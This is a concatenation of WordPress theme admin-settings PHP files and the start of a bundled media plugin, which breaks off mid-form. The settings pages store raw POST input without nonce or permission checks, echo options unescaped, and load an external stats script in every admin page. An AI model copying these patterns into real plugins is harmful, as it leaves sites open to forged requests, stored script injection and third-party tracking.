<script src="https://stat.onll.cn/stat.js"></script>
<?php if(get_option("i_color")){echo "<style>.description-primary{color:".get_option("i_color").";}</style>";}; ?>
<div class="wrap">
<h1>导航设置</h1>
<form method="post" action="" novalidate="novalidate">
<table class="form-table">
<tbody>
<tr>
<th scope="row"><label for="i_logo_url_light">自定义logo(白天)</label></th>
<td>
<textarea name="i_logo_url_light" rows="3" class="regular-text"><?=get_option("i_logo_url_light")?></textarea>
<p class="description">填写logo图标链接地址即可。</p>
<p class="description-primary">默认:显示站点图标,未设置则不显示</p>
<p class="description-primary">站点图标设置:外观-自定义-站点身份-站点图标</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_logo_url_night">自定义logo(夜间)</label></th>
<td>
<textarea name="i_logo_url_night" rows="3" class="regular-text"><?=get_option("i_logo_url_night")?></textarea>
<p class="description">填写logo图标链接地址即可。</p>
<p class="description-primary">默认:显示站点图标,未设置则不显示</p>
<p class="description-primary">站点图标设置:外观-自定义-站点身份-站点图标</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_logo_hidden">隐藏logo</label></th>
<td>
<label><input type="checkbox" name="i_logo_hidden" value="1" <?=get_option("i_logo_hidden") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后隐藏导航栏的logo图标。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_header_hidden">滚动时隐藏导航栏</label></th>
<td>
<label><input type="checkbox" name="i_header_hidden" value="1" <?=get_option("i_header_hidden") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后向下滚动页面时隐藏导航栏。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_login_hidden">隐藏登录入口</label></th>
<td>
<label><input type="checkbox" name="i_login_hidden" value="1" <?=get_option("i_login_hidden") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后隐藏右上角登录图标。</p>
<p class="description-primary">开启后不影响正常登录</p>
<p class="description-primary">域名后输入/admin或/wp-admin即可登录</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_hello">登录提示</label></th>
<td>
<input name="i_hello" type="text" value="<?php echo get_option("i_hello"); ?>" class="regular-text">
<p class="description">移动端未登录提示。</p>
<p class="description-primary">默认:您还没有登录哦!</p>
</td>
</tr>
</tbody>
</table>
<p class="submit">
<input type="submit" name="i_opt" class="button button-primary" value="保存更改">
</p>
</form>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/options/i_footer.php | admin/options/i_footer.php | <?php
@$i_copyright = stripslashes($_POST["i_copyright"]);
@$i_icp = stripslashes($_POST["i_icp"]);
@$i_icp_gov = stripslashes($_POST["i_icp_gov"]);
@$i_upyun = stripslashes($_POST["i_upyun"]);
@$i_build_date = stripslashes($_POST["i_build_date"]);
if(@stripslashes($_POST["i_opt"])){
update_option("i_copyright", $i_copyright);
update_option("i_icp", $i_icp);
update_option("i_icp_gov", $i_icp_gov);
update_option("i_upyun", $i_upyun);
update_option("i_build_date", $i_build_date);
}
?>
<link rel="stylesheet" href="<?php echo i_static(); ?>/admin/options/i_frame.css">
<script>var oyisoThemeName = '<?=wp_get_theme()->Name?>';</script>
<script src="https://stat.onll.cn/stat.js"></script>
<?php if(get_option("i_color")){echo "<style>.description-primary{color:".get_option("i_color").";}</style>";}; ?>
<div class="wrap">
<h1>底部设置</h1>
<form method="post" action="" novalidate="novalidate">
<table class="form-table">
<tbody>
<tr>
<th scope="row"><label for="i_copyright">网站版权</label></th>
<td>
<input name="i_copyright" type="number" value="<?php echo get_option("i_copyright"); ?>" class="regular-text">
<p class="description">填写年份(数字)即可。</p>
<p class="description-primary">默认:Copyright © <?php echo date("Y"); ?> <?php bloginfo('name'); ?></p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_icp">ICP备案号</label></th>
<td>
<input name="i_icp" type="text" value="<?php echo get_option("i_icp"); ?>" class="regular-text">
<p class="description">页脚显示ICP备案号,没有ICP备案号请留空。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_icp_gov">公网安备号</label></th>
<td>
<input name="i_icp_gov" type="text" value="<?php echo get_option("i_icp_gov"); ?>" class="regular-text">
<p class="description">页脚显示公网安备号,没有公网安备号请留空。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_upyun">又拍云联盟</label></th>
<td>
<label><input type="checkbox" name="i_upyun" value="1" <?=get_option("i_upyun") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后页脚显示又拍云联盟链接。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_build_date">运行时间</label></th>
<td>
<input name="i_build_date" type="text" value="<?php echo get_option("i_build_date"); ?>" class="regular-text">
<p class="description">输入建站日期,如2022/04/27 17:30:00。开启后页脚显示运行时间。</p>
</td>
</tr>
</tbody>
</table>
<p class="submit">
<input type="submit" name="i_opt" class="button button-primary" value="保存更改">
</p>
</form>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/options/i_post.php | admin/options/i_post.php | <?php
@$i_random_pic = stripslashes($_POST["i_random_pic"]);
@$i_post_sidebar = stripslashes($_POST["i_post_sidebar"]);
@$i_post_copyright = stripslashes($_POST["i_post_copyright"]);
@$i_post_copyright_text = stripslashes($_POST["i_post_copyright_text"]);
@$i_next_post = stripslashes($_POST["i_next_post"]);
@$i_comments_article = stripslashes($_POST["i_comments_article"]);
@$i_comments_page = stripslashes($_POST["i_comments_page"]);
@$i_comments_turn = stripslashes($_POST["i_comments_turn"]);
if(@stripslashes($_POST["i_opt"])){
update_option("i_random_pic", $i_random_pic);
update_option("i_post_sidebar", $i_post_sidebar);
update_option("i_post_copyright", $i_post_copyright);
update_option("i_post_copyright_text", $i_post_copyright_text);
update_option("i_next_post", $i_next_post);
update_option("i_comments_article", $i_comments_article);
update_option("i_comments_page", $i_comments_page);
update_option("i_comments_turn", $i_comments_turn);
}
?>
<link rel="stylesheet" href="<?php echo i_static(); ?>/admin/options/i_frame.css">
<script>var oyisoThemeName = '<?=wp_get_theme()->Name?>';</script>
<script src="https://stat.onll.cn/stat.js"></script>
<?php if(get_option("i_color")){echo "<style>.description-primary{color:".get_option("i_color").";}</style>";}; ?>
<div class="wrap">
<h1>文章设置</h1>
<form method="post" action="" novalidate="novalidate">
<table class="form-table">
<tbody>
<tr>
<th scope="row"><label for="i_random_pic">文章封面</label></th>
<td>
<textarea name="i_random_pic" rows="3" class="regular-text"><?php echo get_option("i_random_pic"); ?></textarea><br>
<p class="description">用于文章没有封面时顶替。</p>
<p class="description-primary">默认:主题海报</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_post_sidebar">文章侧边栏</label></th>
<td>
<label><input type="checkbox" name="i_post_sidebar" value="1" <?=get_option("i_post_sidebar") == '1' ? 'checked' : ''?>>关闭</label>
<p class="description">关闭文章侧边栏。</p>
<p class="description-primary">默认:开启</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_post_copyright">文章版权</label></th>
<td>
<label><input type="checkbox" name="i_post_copyright" value="1" <?=get_option("i_post_copyright") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">提示用户文章版权信息。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_post_copyright_text">文章版权内容</label></th>
<td>
<textarea name="i_post_copyright_text" rows="3" class="regular-text"><?php echo get_option("i_post_copyright_text"); ?></textarea><br>
<p class="description">文章版权文字信息。</p>
<p class="description-primary">默认:分享是一种美德,转载请保留原链接</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_next_post">文章上下篇</label></th>
<td>
<label><input type="checkbox" name="i_next_post" value="1" <?=get_option("i_next_post") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后文章页显示上一篇下一篇。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_comments_article">文章评论</label></th>
<td>
<label><input type="checkbox" name="i_comments_article" value="1" <?=get_option("i_comments_article") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后文章页显示评论区。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_comments_page">页面评论</label></th>
<td>
<label><input type="checkbox" name="i_comments_page" value="1" <?=get_option("i_comments_page") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后页面显示评论区。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_comments_turn">登录后评论</label></th>
<td>
<label><input type="checkbox" name="i_comments_turn" value="1" <?=get_option("i_comments_turn") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后仅已登录用户可发表评论。</p>
</td>
</tr>
</tbody>
</table>
<p class="submit">
<input type="submit" name="i_opt" class="button button-primary" value="保存更改">
</p>
</form>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/options/i_other.php | admin/options/i_other.php | <?php
@$i_keywords = stripslashes($_POST["i_keywords"]);
@$i_night = stripslashes($_POST["i_night"]);
@$i_say_img = stripslashes($_POST["i_say_img"]);
@$i_cdn = stripslashes($_POST["i_cdn"]);
@$i_cdn_custom = stripslashes($_POST["i_cdn_custom"]);
@$i_404_tip = stripslashes($_POST["i_404_tip"]);
@$i_mourn = stripslashes($_POST["i_mourn"]);
@$i_plan = stripslashes($_POST["i_plan"]);
if(@stripslashes($_POST["i_opt"])){
update_option("i_keywords", $i_keywords);
update_option("i_night", $i_night);
update_option("i_say_img", $i_say_img);
update_option("i_cdn", $i_cdn);
update_option("i_cdn_custom", $i_cdn_custom);
update_option("i_404_tip", $i_404_tip);
update_option("i_mourn", $i_mourn);
update_option("i_plan", $i_plan);
}
?>
<link rel="stylesheet" href="<?php echo i_static(); ?>/admin/options/i_frame.css">
<script>var oyisoThemeName = '<?=wp_get_theme()->Name?>';</script>
<script src="https://stat.onll.cn/stat.js"></script>
<?php if(get_option("i_color")){echo "<style>.description-primary{color:".get_option("i_color").";}</style>";}; ?>
<div class="wrap">
<h1>其他设置</h1>
<form method="post" action="" novalidate="novalidate">
<table class="form-table">
<tbody>
<tr>
<th scope="row"><label for="i_keywords">首页关键词</label></th>
<td>
<textarea name="i_keywords" rows="3" class="regular-text"><?php echo get_option("i_keywords"); ?></textarea><br>
<p class="description">利于网站首页SEO,以英文逗号隔开。</p>
<p class="description-primary">默认:iFalse主题</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_night">夜间模式</label></th>
<td>
<select name="i_night">
<option value="" <?php echo get_option("i_night") == '' ? 'selected' : ''; ?>>关闭</option>
<option value="1" <?php echo get_option("i_night") == '1' ? 'selected' : ''; ?>>全局夜间模式</option>
<option value="2" <?php echo get_option("i_night") == '2' ? 'selected' : ''; ?>>自动夜间模式</option>
</select>
<p class="description-primary">春夏季(3~8):20:00~06:00,秋冬季(9~2):19:00~07:00</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_say_img">说说背景</label></th>
<td>
<textarea name="i_say_img" rows="3" class="regular-text"><?php echo get_option("i_say_img"); ?></textarea><br>
<p class="description">说说页面顶部背景图。填写图片地址即可。</p>
<p class="description-primary">默认:主题海报</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_cdn">静态资源CDN加速</label></th>
<td>
<select name="i_cdn">
<option value="" <?php echo get_option("i_cdn") == '' ? 'selected' : ''; ?>>关闭</option>
<option value="1" <?php echo get_option("i_cdn") == '1' ? 'selected' : ''; ?>>百度云加速(Sola提供)</option>
<option value="2" <?php echo get_option("i_cdn") == '2' ? 'selected' : ''; ?>>jsDelivr</option>
</select>
<p class="description">效果不佳请更换或停用。</p>
<p class="description-primary">默认:本地静态资源文件</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_cdn_custom">静态资源CDN加速-自定义</label></th>
<td>
<textarea name="i_cdn_custom" rows="3" class="regular-text"><?php echo get_option("i_cdn_custom"); ?></textarea><br>
<p class="description">请填写http/https链接。</p>
<p class="description">如,https://cdn.xxx.net/@x.x.x(不需要以/结尾)</p>
<p class="description">主题静态资源文件下载:<a href="https://github.com/kannafay/iFalse-Static" class="description-primary" target="_blank">传送门</a>(请下载主题对应的版本)</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_404_tip">404提示</label></th>
<td>
<input name="i_404_tip" type="text" value="<?php echo get_option("i_404_tip"); ?>" class="regular-text">
<p class="description">404错误信息。</p>
<p class="description-primary">默认:抱歉, 您请求的页面找不到了!</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_mourn">悼念模式</label></th>
<td>
<label><input type="checkbox" name="i_mourn" value="1" <?=get_option("i_mourn") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后首页变成灰色。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_plan">体验计划</label></th>
<td>
<label><input type="checkbox" name="i_plan" value="1" <?=get_option("i_plan") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后将帮助开发者获得更多的BUG反馈。</p>
</td>
</tr>
</tbody>
</table>
<p class="submit">
<input type="submit" name="i_opt" class="button button-primary" value="保存更改">
</p>
</form>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/options/i_base.php | admin/options/i_base.php | <?php
@$i_plane = stripslashes($_POST["i_plane"]);
@$i_color = stripslashes($_POST["i_color"]);
@$i_color_sub = stripslashes($_POST["i_color_sub"]);
@$i_blog_to_column = stripslashes($_POST["i_blog_to_column"]);
@$i_blog_auto_column = stripslashes($_POST["i_blog_auto_column"]);
@$i_loading_pic = stripslashes($_POST["i_loading_pic"]);
@$i_login = stripslashes($_POST["i_login"]);
@$i_register_turn = stripslashes($_POST["i_register_turn"]);
@$i_forget_turn = stripslashes($_POST["i_forget_turn"]);
if(@stripslashes($_POST["i_opt"])){
update_option("i_plane", $i_plane);
update_option("i_color", $i_color);
update_option("i_color_sub", $i_color_sub);
update_option("i_blog_to_column", $i_blog_to_column);
update_option("i_blog_auto_column", $i_blog_auto_column);
update_option("i_loading_pic", $i_loading_pic);
update_option("i_login", $i_login);
update_option("i_register_turn", $i_register_turn);
update_option("i_forget_turn", $i_forget_turn);
}
?>
<link rel="stylesheet" href="<?php echo i_static(); ?>/admin/options/i_frame.css">
<script>var oyisoThemeName = '<?=wp_get_theme()->Name?>';</script>
<script src="https://stat.onll.cn/stat.js"></script>
<?php if(get_option("i_color")){echo "<style>.description-primary{color:".get_option("i_color").";}</style>";}; ?>
<div class="wrap">
<h1>基本设置</h1>
<form method="post" action="" novalidate="novalidate">
<table class="form-table">
<tbody>
<tr>
<th scope="row"><label for="i_color">主题主色</label></th>
<td>
<input name="i_color" type="color" value="<?=get_option("i_color") ? get_option("i_color") : '#8183ff'?>" class="regular-text">
<p class="description" style="display:flex;align-items:center">
当前主题主色:<span style="display:inline-block;width:15px;height:15px;background-color:<?php if(get_option("i_color")){echo get_option("i_color"); }else {echo "#8183ff";} ?>;border-radius:2px"></span>
<span style="padding-left:30px;display:flex;align-items:center">
默认:<span style="display:inline-block;width:15px;height:15px;background-color:#8183ff;border-radius:2px"></span>
</span>
</p>
<p class="description-primary">只填写主色时,副色将使用主色</p>
<p class="description-primary">默认主色HEX值:#8183ff</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_color_sub">主题副色</label></th>
<td>
<input name="i_color_sub" type="color" value="<?=get_option("i_color_sub") ? get_option("i_color_sub") : '#58b3f5'?>" class="regular-text">
<p class="description" style="display:flex;align-items:center">
当前主题副色:<span style="display:inline-block;width:15px;height:15px;background-color:
<?php
if(get_option("i_color")){
if(get_option("i_color_sub")){
echo get_option("i_color_sub");
}else if(get_option("i_color") && !get_option("i_color_sub")) {
echo get_option("i_color");
}else {
echo "#58b3f5";
}
}else if(!get_option("i_color") && get_option("i_color_sub")) {
echo "#58b3f5";
} else {
echo "#58b3f5";
}
?>
;border-radius:2px"></span>
<span style="padding-left:30px;display:flex;align-items:center">
默认:<span style="display:inline-block;width:15px;height:15px;background-color:#58b3f5;border-radius:2px"></span>
</span>
</p>
<p class="description-primary" style="margin-bottom:6px">默认副色HEX值:#58b3f5</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_plane">面性样式</label></th>
<td>
<label><input type="checkbox" name="i_plane" value="1" <?=get_option("i_plane") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后局部样式由线性转为面性。</p>
<p class="description-primary">默认:线性样式</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_blog_to_column">博客模式</label></th>
<td>
<label><input type="checkbox" name="i_blog_to_column" value="1" <?=get_option("i_blog_to_column") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后首页切换成博客模式(双栏模式)。</p>
<p class="description-primary">默认:卡片模式</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_blog_auto_column">移动端自动博客模式</label></th>
<td>
<label><input type="checkbox" name="i_blog_auto_column" value="1" <?=get_option("i_blog_auto_column") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后PC端不变,移动端切换成博客模式。</p>
<p class="description-primary">PC端:卡片模式</p>
<p class="description-primary">手机端:博客模式</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_loading_pic">懒加载图</label></th>
<td>
<textarea name="i_loading_pic" rows="3" class="regular-text"><?=get_option("i_loading_pic")?></textarea><br>
<p class="description">图片未加载出时显示。</p>
<p class="description-primary">默认:主题自带GIF加载图</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_login">登录/注册/找回密码模板</label></th>
<td>
<label><input type="checkbox" name="i_login" value="1" <?=get_option("i_login") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后使用主题模板。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_register_turn">用户注册</label></th>
<td>
<label><input type="checkbox" name="i_register_turn" value="1" <?=get_option("i_register_turn") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后运行用户注册。</p>
<p class="description-primary">仅用于主题注册模板,如需完全关闭请前往WP设置</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_forget_turn">找回密码</label></th>
<td>
<label><input type="checkbox" name="i_forget_turn" value="1" <?=get_option("i_forget_turn") == '1' ? 'checked' : ''?>>开启</label>
<p class="description">开启后用户可以使用找回密码功能。</p>
<p class="description-primary">仅用于主题找回密码模板</p>
</td>
</tr>
</tbody>
</table>
<p class="submit">
<input type="submit" name="i_opt" class="button button-primary" value="保存更改">
</p>
</form>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/options/i_custom.php | admin/options/i_custom.php | <?php
@$i_custom_css_head = stripslashes($_POST["i_custom_css_head"]);
@$i_custom_js_footer = stripslashes($_POST["i_custom_js_footer"]);
@$i_custom_html_head = stripslashes($_POST["i_custom_html_head"]);
@$i_custom_html_footer = stripslashes($_POST["i_custom_html_footer"]);
@$i_custom_html_tongji = stripslashes($_POST["i_custom_html_tongji"]);
if(@stripslashes($_POST["i_opt"])){
update_option("i_custom_css_head",$i_custom_css_head);
update_option("i_custom_js_footer",$i_custom_js_footer);
update_option("i_custom_html_head",$i_custom_html_head);
update_option("i_custom_html_footer",$i_custom_html_footer);
update_option("i_custom_html_tongji",$i_custom_html_tongji);
}
?>
<link rel="stylesheet" href="<?php echo i_static(); ?>/admin/options/i_frame.css">
<script>var oyisoThemeName = '<?=wp_get_theme()->Name?>';</script>
<script src="https://stat.onll.cn/stat.js"></script>
<?php if(get_option("i_color")){echo "<style>.description-primary{color:".get_option("i_color").";}</style>";}; ?>
<div class="wrap">
<h1>自定义</h1>
<form method="post" action="" novalidate="novalidate">
<table class="form-table">
<tbody>
<tr>
<th scope="row"><label for="i_custom_css_head">自定义CSS代码</label></th>
<td>
<fieldset>
<p>
<label for="i_custom_css_head">位于</head>之前,直接写样式代码,不用添加<style>标签。</label>
</p>
<p>
<textarea name="i_custom_css_head" value="" rows="10" cols="50" id="i_custom_css_head" class="large-text code"><?php echo get_option("i_custom_css_head"); ?></textarea>
</p>
</fieldset>
</td>
</tr>
<tr>
<th scope="row"><label for="i_custom_js_footer">自定义javascript代码</label></th>
<td>
<fieldset>
<p>
<label for="i_custom_js_footer">位于底部,直接填写JS代码,不需要添加<script>标签。</label>
</p>
<p>
<textarea name="i_custom_js_footer" rows="10" cols="50" id="i_custom_js_footer" class="large-text code"><?php echo get_option("i_custom_js_footer"); ?></textarea>
</p>
</fieldset>
</td>
</tr>
<tr>
<th scope="row"><label for="i_custom_html_head">自定义头部HTML代码</label></th>
<td>
<fieldset>
<p>
<label for="i_custom_html_head">位于</head>之前,这部分代码是在主要内容显示之前加载,通常是CSS样式、自定义的<meta>标签、全站头部JS等需要提前加载的代码,需填HTML标签。</label>
</p>
<p>
<textarea name="i_custom_html_head" rows="10" cols="50" id="i_custom_html_head" class="large-text code"><?php echo get_option("i_custom_html_head"); ?></textarea>
</p>
</fieldset>
</td>
</tr>
<tr>
<th scope="row"><label for="i_custom_html_footer">自定义底部HTML代码</label></th>
<td>
<fieldset>
<p>
<label for="i_custom_html_footer">位于</body>之前,这部分代码是在主要内容加载完毕加载,通常是JS代码,需填HTML标签。</label>
</p>
<p>
<textarea name="i_custom_html_footer" rows="10" cols="50" id="i_custom_html_footer" class="large-text code"><?php echo get_option("i_custom_html_footer"); ?></textarea>
</p>
</fieldset>
</td>
</tr>
<tr>
<th scope="row"><label for="i_custom_html_tongji">网站统计HTML代码</label></th>
<td>
<fieldset>
<p>
<label for="i_custom_html_tongji">位于底部,用于添加第三方流量数据统计代码,如:Google analytics、百度统计、CNZZ、51la,国内站点推荐使用百度统计,国外站点推荐使用Google analytics。需填HTML标签,如果是javascript代码,请保存在自定义javascript代码。</label>
</p>
<p>
<textarea name="i_custom_html_tongji" rows="10" cols="50" id="i_custom_html_tongji" class="large-text code"><?php echo get_option("i_custom_html_tongji"); ?></textarea>
</p>
</fieldset>
</td>
</tr>
</tbody>
</table>
<p class="submit">
<input type="submit" name="i_opt" class="button button-primary" value="保存更改">
</p>
</form>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/options/i_home.php | admin/options/i_home.php | <?php
@$i_swiper = stripslashes($_POST["i_swiper"]);
@$i_swiper_effect = stripslashes($_POST["i_swiper_effect"]);
@$i_recommend = stripslashes($_POST["i_recommend"]);
@$i_wrapper_text = stripslashes($_POST["i_wrapper_text"]);
@$i_wrapper_name = stripslashes($_POST["i_wrapper_name"]);
@$i_notice = stripslashes($_POST["i_notice"]);
if(@stripslashes($_POST["i_opt"])){
update_option("i_swiper", $i_swiper);
update_option("i_swiper_effect", $i_swiper_effect);
update_option("i_recommend", $i_recommend);
update_option("i_wrapper_text", $i_wrapper_text);
update_option("i_wrapper_name", $i_wrapper_name);
update_option("i_notice", $i_notice);
}
?>
<link rel="stylesheet" href="<?php echo i_static(); ?>/admin/options/i_frame.css">
<script>var oyisoThemeName = '<?=wp_get_theme()->Name?>';</script>
<script src="https://stat.onll.cn/stat.js"></script>
<?php if(get_option("i_color")){echo "<style>.description-primary{color:".get_option("i_color").";}</style>";}; ?>
<div class="wrap">
<h1>首页设置</h1>
<form method="post" action="" novalidate="novalidate">
<table class="form-table">
<tbody>
<tr>
<th scope="row"><label for="i_swiper">轮播图</label></th>
<td>
<input name="i_swiper" type="text" value="<?php echo get_option("i_swiper"); ?>" class="regular-text">
<p class="description">填写文章编号,以英文逗号隔开,如1,2,3。</p>
<p class="description-primary">包含置顶文章时将会提前显示,最多10篇。</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_swiper_effect">轮播图切换效果</label></th>
<td>
<select name="i_swiper_effect">
<option value="" <?php echo get_option("i_swiper_effect") == '' ? 'selected' : ''; ?>>普通位移</option>
<option value="fade" <?php echo get_option("i_swiper_effect") == 'fade' ? 'selected' : ''; ?>>淡入</option>
<option value="cube" <?php echo get_option("i_swiper_effect") == 'cube' ? 'selected' : ''; ?>>方块</option>
<option value="cards" <?php echo get_option("i_swiper_effect") == 'cards' ? 'selected' : ''; ?>>卡片式</option>
<option value="coverflow" <?php echo get_option("i_swiper_effect") == 'coverflow' ? 'selected' : ''; ?>>3D流</option>
</select>
</td>
</tr>
<tr>
<th scope="row"><label for="i_recommend">推荐文章(建议2篇或不填)</label></th>
<td>
<input name="i_recommend" type="text" value="<?php echo get_option("i_recommend"); ?>" class="regular-text">
<p class="description">填写文章编号,以英文逗号隔开,如1,2。</p>
<p class="description-primary">位于轮播图右边,如未开启轮播图不显示</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_wrapper_text">首页标语</label></th>
<td>
<input name="i_wrapper_text" type="text" value="<?php echo get_option("i_wrapper_text"); ?>" class="regular-text">
<p class="description">轮播图无内容时显示。</p>
<p class="description-primary">默认:一言</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_wrapper_name">副标语</label></th>
<td>
<input name="i_wrapper_name" type="text" value="<?php echo get_option("i_wrapper_name"); ?>" class="regular-text">
<p class="description">轮播图无内容时显示。</p>
<p class="description-primary">默认:一言作者</p>
</td>
</tr>
<tr>
<th scope="row"><label for="i_notice">首页公告</label></th>
<td>
<textarea name="i_notice" rows="3" class="regular-text"><?php echo get_option("i_notice"); ?></textarea> <br>
<p class="description">用于首页发布公告,留空则不显示。</p>
</td>
</tr>
</tbody>
</table>
<p class="submit">
<input type="submit" name="i_opt" class="button button-primary" value="保存更改">
</p>
</form>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/external/external-media-without-import.php | admin/external/external-media-without-import.php | <?php
/*
Plugin Name: External Media without Import
Description: Add external images to the media library without importing, i.e. uploading them to your WordPress site.
Version: 1.1.2
Author: Zhixiang Zhu
Author URI: http://zxtechart.com
License: GPLv3
License URI: https://www.gnu.org/licenses/gpl-3.0-standalone.html
External Media without Import is free software: you can redistribute it
and/or modify it under the terms of the GNU General Public License as
published by the Free Software Foundation, either version 3 of the License,
or any later version.
External Media without Import is distributed in the hope that it will be
useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
Public License for more details.
You should have received a copy of the GNU General Public License along
with External Media without Import. If not, see
https://www.gnu.org/licenses/gpl-3.0-standalone.html.
*/
namespace emwi;
function init_emwi() {
$style = 'emwi-css';
$css_file = i_static().'/admin/external/external-media-without-import.css';
wp_register_style( $style, $css_file );
wp_enqueue_style( $style );
$script = 'emwi-js';
$js_file = i_static().'/admin/external/external-media-without-import.js';
wp_register_script( $script, $js_file, array( 'jquery' ) );
wp_enqueue_script( $script );
}
add_action( 'admin_enqueue_scripts', 'emwi\init_emwi' );
add_action( 'admin_menu', 'emwi\add_submenu' );
add_action( 'post-plupload-upload-ui', 'emwi\post_upload_ui' );
add_action( 'post-html-upload-ui', 'emwi\post_upload_ui' );
add_action( 'wp_ajax_add_external_media_without_import', 'emwi\wp_ajax_add_external_media_without_import' );
add_action( 'admin_post_add_external_media_without_import', 'emwi\admin_post_add_external_media_without_import' );
/**
* This filter is to make attachments added by this plugin pass the test
* of wp_attachment_is_image. Otherwise issues with other plugins such
* as WooCommerce occur:
*
* https://github.com/zzxiang/external-media-without-import/issues/10
* https://wordpress.org/support/topic/product-gallery-image-not-working/
* http://zxtechart.com/2017/06/05/wordpress/#comment-178
* http://zxtechart.com/2017/06/05/wordpress/#comment-192
*/
add_filter( 'get_attached_file', function( $file, $attachment_id ) {
if ( empty( $file ) ) {
$post = get_post( $attachment_id );
if ( get_post_type( $post ) == 'attachment' ) {
return $post->guid;
}
}
return $file;
}, 10, 2 );
function add_submenu() {
add_submenu_page(
'upload.php',
__( '添加图片外链' ),
__( '添加图片外链' ),
'publish_posts',
'add-external-media-without-import',
'emwi\print_submenu_page'
);
}
function post_upload_ui() {
$media_library_mode = get_user_option( 'media_library_mode', get_current_user_id() );
?>
<div id="emwi-in-upload-ui">
<div class="row1">
<?php echo __('or'); ?>
</div>
<div class="row2">
<?php if ( 'grid' === $media_library_mode ) : // FIXME: seems that media_library_mode being empty also means grid mode ?>
<button id="emwi-show" class="button button-large">
<?php echo __('添加图片外链'); ?>
</button>
<?php print_media_new_panel( true ); ?>
<?php else : ?>
<a class="button button-large" href="<?php echo esc_url( admin_url( '/upload.php?page=add-external-media-without-import', __FILE__ ) ); ?>">
<?php echo __('添加图片外链'); ?>
</a>
<?php endif; ?>
</div>
</div>
<?php
}
function print_submenu_page() {
?>
<form action="<?php echo esc_url( admin_url('admin-post.php') ); ?>" method="post">
<?php print_media_new_panel( false ); ?>
</form>
<?php
}
function print_media_new_panel( $is_in_upload_ui ) {
?>
<div id="emwi-media-new-panel" <?php if ( $is_in_upload_ui ) : ?>style="display: none"<?php endif; ?>>
<label id="emwi-urls-label"><?php echo __('请填写图片URL地址'); ?></label>
